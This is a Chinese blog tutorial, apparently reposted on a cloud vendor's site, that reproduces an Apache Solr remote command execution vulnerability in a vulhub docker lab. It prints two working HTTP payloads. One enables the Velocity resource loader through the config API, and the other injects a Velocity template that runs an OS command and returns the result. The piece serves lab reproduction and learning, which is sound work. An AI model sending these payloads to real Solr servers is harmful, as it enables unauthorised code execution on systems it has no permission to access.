这篇文章给大家介绍Apache Solr远程命令如何进行执行复现，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。
蹭个热度，复现一波：Apache Solr远程命令执行漏洞。
环境可以使用/vulhub/solr/CVE-2019-0193/的环境，进入目录后直接 docker-compose up -d 如下：
接着访问对应地址可以看到，搭建好的镜像是没有集合的，所以我们需要自行创建一个集合：
通过 docker exec -it 容器ID /bin/bash 进入容器后执行：./solr create -c solr_sample 创建集合如下：
可以从重新浏览器访问一下solr admin，查看集合是否创建成功：
确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true，请求如下：
修改完配置以后通过poc即可执行任意命令如图：
相关poc如下：
计算
安全
数据库
网络和加速
企业服务
//修改配置pocPOST /solr/集合名/config HTTP/1.1Host: 192.168.119.134:8983Content-Length: 259{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}//远程代码执行pocGET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: localhost:8983Host: 192.168.119.134:8983Content-Length: 0关于Apache Solr远程命令如何进行执行复现就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
亿速云「云服务器」，即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘，价格低至29元/月。点击查看>>
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
原文链接：https://my.oschina.net/u/4593189/blog/4418457
